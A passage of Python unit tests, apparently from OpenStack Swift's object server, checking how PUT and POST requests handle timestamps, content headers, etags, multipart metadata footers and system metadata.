req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_no_timestamp(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT', 'CONTENT_LENGTH': '0'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_no_content_type(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Length': '6'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_invalid_content_type(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Length': '6', 'Content-Type': '\xff\xff'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) self.assertTrue('Content-Type' in resp.body) def test_PUT_no_content_length(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' del req.headers['Content-Length'] resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 411) def test_PUT_zero_content_length(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream'}) req.body = '' self.assertEqual(req.headers['Content-Length'], '0') resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) def test_PUT_bad_transfer_encoding(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' req.headers['Transfer-Encoding'] = 'bad' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_if_none_match_star(self): # First PUT should succeed timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'If-None-Match': '*'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # File should already exist so it should fail timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'If-None-Match': '*'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) def test_PUT_if_none_match(self): # PUT with if-none-match set and nothing there should succeed timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'If-None-Match': 'notthere'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # PUT with if-none-match of the object etag should fail timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'If-None-Match': '0b4c12d7e0a73840c1c4f148fda3b037'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 412) def test_PUT_common(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream', 'x-object-meta-test': 'one', 'Custom-Header': '*', 'X-Backend-Replication-Headers': 'Content-Type Content-Length'}) req.body = 'VERIFY' with mock.patch.object(self.object_controller, 'allowed_headers', ['Custom-Header']): self.object_controller.allowed_headers = ['Custom-Header'] resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': utils.Timestamp(timestamp).internal, 'Content-Length': '6', 'ETag': '0b4c12d7e0a73840c1c4f148fda3b037', 'Content-Type': 'application/octet-stream', 'name': '/a/c/o', 'X-Object-Meta-Test': 'one', 'Custom-Header': '*'}) def test_PUT_overwrite(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY TWO' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY TWO') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': utils.Timestamp(timestamp).internal, 'Content-Length': '10', 'ETag': 'b381a4c5dab1eaa1eb9711fa647cd039', 'Content-Type': 'text/plain', 'name': '/a/c/o', 'Content-Encoding': 'gzip'}) def test_PUT_overwrite_to_older_ts_success(self): old_timestamp = next(self.ts) new_timestamp = next(self.ts) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'DELETE'}, headers={'X-Timestamp': old_timestamp.normal, 'Content-Length': '0', 'Content-Type': 'application/octet-stream'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': new_timestamp.normal, 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY TWO' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), new_timestamp.internal + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY TWO') self.assertEqual( diskfile.read_metadata(objfile), {'X-Timestamp': new_timestamp.internal, 'Content-Length': '10', 'ETag': 'b381a4c5dab1eaa1eb9711fa647cd039', 'Content-Type': 'text/plain', 'name': '/a/c/o', 'Content-Encoding': 'gzip'}) def test_PUT_overwrite_to_newer_ts_failed(self): old_timestamp = next(self.ts) new_timestamp = next(self.ts) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'DELETE'}, headers={'X-Timestamp': new_timestamp.normal, 'Content-Length': '0', 'Content-Type': 'application/octet-stream'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': old_timestamp.normal, 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY TWO' with mock.patch( 'swift.obj.diskfile.BaseDiskFile.create') as mock_create: resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(mock_create.call_count, 0) # data file doesn't exist there (This is sanity because # if .data written unexpectedly, it will be removed # by cleanup_ondisk_files) datafile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), old_timestamp.internal + '.data') self.assertFalse(os.path.exists(datafile)) # ts file sitll exists tsfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), new_timestamp.internal + '.ts') self.assertTrue(os.path.isfile(tsfile)) def test_PUT_overwrite_w_delete_at(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'X-Delete-At': 9999999999, 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) sleep(.00001) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY TWO' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY TWO') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': utils.Timestamp(timestamp).internal, 'Content-Length': '10', 'ETag': 'b381a4c5dab1eaa1eb9711fa647cd039', 'Content-Type': 'text/plain', 'name': '/a/c/o', 'Content-Encoding': 'gzip'}) def test_PUT_old_timestamp(self): ts = time() orig_timestamp = utils.Timestamp(ts).internal req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': orig_timestamp, 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(ts), 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY TWO' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['X-Backend-Timestamp'], orig_timestamp) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={ 'X-Timestamp': normalize_timestamp(ts - 1), 'Content-Type': 'text/plain', 'Content-Encoding': 'gzip'}) req.body = 'VERIFY THREE' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['X-Backend-Timestamp'], orig_timestamp) def test_PUT_new_object_really_old_timestamp(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': '-1', # 1969-12-31 23:59:59 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': '1', # 1970-01-01 00:00:01 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) def test_PUT_object_really_new_timestamp(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': '9999999999', # 2286-11-20 17:46:40 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # roll over to 11 digits before the decimal req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': '10000000000', 'Content-Length': '6', 'Content-Type': 'application/octet-stream'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_no_etag(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'text/plain'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) def test_PUT_invalid_etag(self): req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': normalize_timestamp(time()), 'Content-Type': 'text/plain', 'ETag': 'invalid'}) req.body = 'test' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 422) def test_PUT_user_metadata(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'ETag': 'b114ab7b90d9ccac4bd5d99cc7ebb568', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) req.body = 'VERIFY THREE' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY THREE') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': utils.Timestamp(timestamp).internal, 'Content-Length': '12', 'ETag': 'b114ab7b90d9ccac4bd5d99cc7ebb568', 'Content-Type': 'text/plain', 'name': '/a/c/o', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) def test_PUT_etag_in_footer(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'Etag': 'other-etag', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) obj_etag = md5("obj data").hexdigest() footer_meta = json.dumps({"Etag": obj_etag}) footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.etag, obj_etag) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), utils.Timestamp(timestamp).internal + '.data') with open(objfile) as fh: self.assertEqual(fh.read(), "obj data") def _check_container_override_etag_preference(self, override_headers, override_footers): def mock_container_update(ctlr, op, account, container, obj, req, headers_out, objdevice, policy): calls_made.append((headers_out, policy)) calls_made = [] ts_put = next(self.ts) headers = { 'X-Timestamp': ts_put.internal, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'Etag': 'other-etag', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'} headers.update(override_headers) req = Request.blank( '/sda1/p/a/c/o', headers=headers, environ={'REQUEST_METHOD': 'PUT'}) obj_etag = md5("obj data").hexdigest() footers = {'Etag': obj_etag} footers.update(override_footers) footer_meta = json.dumps(footers) footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) with mock.patch( 'swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.etag, obj_etag) self.assertEqual(resp.status_int, 201) self.assertEqual(1, len(calls_made)) self.assertEqual({ 'X-Size': str(len('obj data')), 'X-Etag': 'update-etag', 'X-Content-Type': 'text/plain', 'X-Timestamp': ts_put.internal, }, calls_made[0][0]) self.assertEqual(POLICIES[0], calls_made[0][1]) def test_override_etag_lone_header_footer(self): self._check_container_override_etag_preference( {'X-Backend-Container-Update-Override-Etag': 'update-etag'}, {}) self._check_container_override_etag_preference( {}, {'X-Backend-Container-Update-Override-Etag': 'update-etag'}) self._check_container_override_etag_preference( {'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'}, {}) self._check_container_override_etag_preference( {}, {'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'}), def test_override_etag_footer_trumps_header(self): self._check_container_override_etag_preference( {'X-Backend-Container-Update-Override-Etag': 'ignored-etag'}, {'X-Backend-Container-Update-Override-Etag': 'update-etag'}) self._check_container_override_etag_preference( {'X-Object-Sysmeta-Container-Update-Override-Etag': 'ignored-etag'}, {'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'}) def test_override_etag_sysmeta_trumps_backend(self): self._check_container_override_etag_preference( {'X-Backend-Container-Update-Override-Etag': 'ignored-etag', 'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'}, {}) self._check_container_override_etag_preference( {}, {'X-Backend-Container-Update-Override-Etag': 'ignored-etag', 'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'}) def test_override_etag_sysmeta_header_trumps_backend_footer(self): headers = {'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'} footers = {'X-Backend-Container-Update-Override-Etag': 'ignored-etag'} self._check_container_override_etag_preference(headers, footers) def test_override_etag_sysmeta_footer_trumps_backend_header(self): headers = {'X-Backend-Container-Update-Override-Etag': 'ignored-etag'} footers = {'X-Object-Sysmeta-Container-Update-Override-Etag': 'update-etag'} self._check_container_override_etag_preference(headers, footers) def test_PUT_etag_in_footer_mismatch(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = json.dumps({"Etag": md5("green").hexdigest()}) footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "blue", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 422) def test_PUT_meta_in_footer(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Object-Meta-X': 'Z', 'X-Object-Sysmeta-X': 'Z', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = json.dumps({ 'X-Object-Meta-X': 'Y', 'X-Object-Sysmeta-X': 'Y', }) footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "stuff stuff stuff", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp}, environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.headers.get('X-Object-Meta-X'), 'Y') self.assertEqual(resp.headers.get('X-Object-Sysmeta-X'), 'Y') def test_PUT_missing_footer_checksum(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = json.dumps({"Etag": md5("obj data").hexdigest()}) req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", # no Content-MD5 "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_bad_footer_checksum(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = json.dumps({"Etag": md5("obj data").hexdigest()}) bad_footer_meta_cksum = md5(footer_meta + "bad").hexdigest() req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", "Content-MD5: " + bad_footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 422) def test_PUT_bad_footer_json(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = "{{{[[{{[{[[{[{[[{{{[{{{{[[{{[{[" footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary--", )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_PUT_extra_mime_docs_ignored(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Transfer-Encoding': 'chunked', 'X-Backend-Obj-Metadata-Footer': 'yes', 'X-Backend-Obj-Multipart-Mime-Boundary': 'boundary'}, environ={'REQUEST_METHOD': 'PUT'}) footer_meta = json.dumps({'X-Object-Meta-Mint': 'pepper'}) footer_meta_cksum = md5(footer_meta).hexdigest() req.body = "\r\n".join(( "--boundary", "", "obj data", "--boundary", "Content-MD5: " + footer_meta_cksum, "", footer_meta, "--boundary", "This-Document-Is-Useless: yes", "", "blah blah I take up space", "--boundary--" )) req.headers.pop("Content-Length", None) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # swob made this into a StringIO for us wsgi_input = req.environ['wsgi.input'] self.assertEqual(wsgi_input.tell(), len(wsgi_input.getvalue())) def test_PUT_user_metadata_no_xattr(self): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'ETag': 'b114ab7b90d9ccac4bd5d99cc7ebb568', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) req.body = 'VERIFY THREE' def mock_get_and_setxattr(*args, **kargs): error_num = errno.ENOTSUP if hasattr(errno, 'ENOTSUP') else \ errno.EOPNOTSUPP raise IOError(error_num, 'Operation not supported') with mock.patch('xattr.getxattr', mock_get_and_setxattr): with mock.patch('xattr.setxattr', mock_get_and_setxattr): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 507) def test_PUT_client_timeout(self): class FakeTimeout(BaseException): def __enter__(self): raise self def __exit__(self, typ, value, tb): pass # This is just so the test fails when run on older object server code # instead of exploding. if not hasattr(object_server, 'ChunkReadTimeout'): object_server.ChunkReadTimeout = None with mock.patch.object(object_server, 'ChunkReadTimeout', FakeTimeout): timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Content-Length': '6'}) req.environ['wsgi.input'] = WsgiBytesIO(b'VERIFY') resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 408) def test_PUT_system_metadata(self): # check that sysmeta is stored in diskfile timestamp = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), timestamp + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY SYSMETA') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp, 'Content-Length': '14', 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two', 'X-Object-Transient-Sysmeta-Foo': 'Bar'}) def test_PUT_succeeds_with_later_POST(self): t_put = next(self.ts).internal req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': t_put, 'Content-Length': 0, 'Content-Type': 'plain/text'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) t_put2 = next(self.ts).internal t_post = next(self.ts).internal req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t_post}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': t_put2, 'Content-Length': 0, 'Content-Type': 'plain/text'}, ) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) obj_dir = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o'))) ts_file = os.path.join(obj_dir, t_put2 + '.data') self.assertTrue(os.path.isfile(ts_file)) meta_file = os.path.join(obj_dir, t_post + '.meta') self.assertTrue(os.path.isfile(meta_file)) def test_POST_system_metadata(self): # check that diskfile sysmeta is not changed by a POST timestamp1 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp1, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp2 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp2, 'X-Object-Meta-1': 'Not One', 'X-Object-Sysmeta-1': 'Not One', 'X-Object-Sysmeta-Two': 'Not Two'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) # original .data file metadata should be unchanged objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), timestamp1 + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY SYSMETA') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp1, 'Content-Length': '14', 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'X-Object-Meta-1': 'One', 'X-Object-Sysmeta-1': 'One', 'X-Object-Sysmeta-Two': 'Two'}) # .meta file metadata should have only user meta items metafile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(POLICIES[0]), 'p', hash_path('a', 'c', 'o')), timestamp2 + '.meta') self.assertTrue(os.path.isfile(metafile)) self.assertEqual(diskfile.read_metadata(metafile), {'X-Timestamp': timestamp2, 'name': '/a/c/o', 'X-Object-Meta-1': 'Not One'}) def test_POST_then_fetch_content_type(self): # check that content_type is updated by a POST timestamp1 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp1, 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'X-Object-Meta-1': 'One'}) req.body = 'VERIFY SYSMETA' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) timestamp2 = normalize_timestamp(time()) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp2, 'X-Object-Meta-1': 'Not One', 'Content-Type': 'text/html'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) # original .data file metadata should be unchanged objfile = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o')), timestamp1 + '.data') self.assertTrue(os.path.isfile(objfile)) self.assertEqual(open(objfile).read(), 'VERIFY SYSMETA') self.assertEqual(diskfile.read_metadata(objfile), {'X-Timestamp': timestamp1, 'Content-Length': '14', 'Content-Type': 'text/plain', 'ETag': '1000d172764c9dbc3a5798a67ec5bb76', 'name': '/a/c/o', 'X-Object-Meta-1': 'One'}) # .meta file metadata should have updated content-type metafile_name = encode_timestamps(Timestamp(timestamp2), Timestamp(timestamp2), explicit=True) metafile = os.path.join( self.testdir, 'sda1', 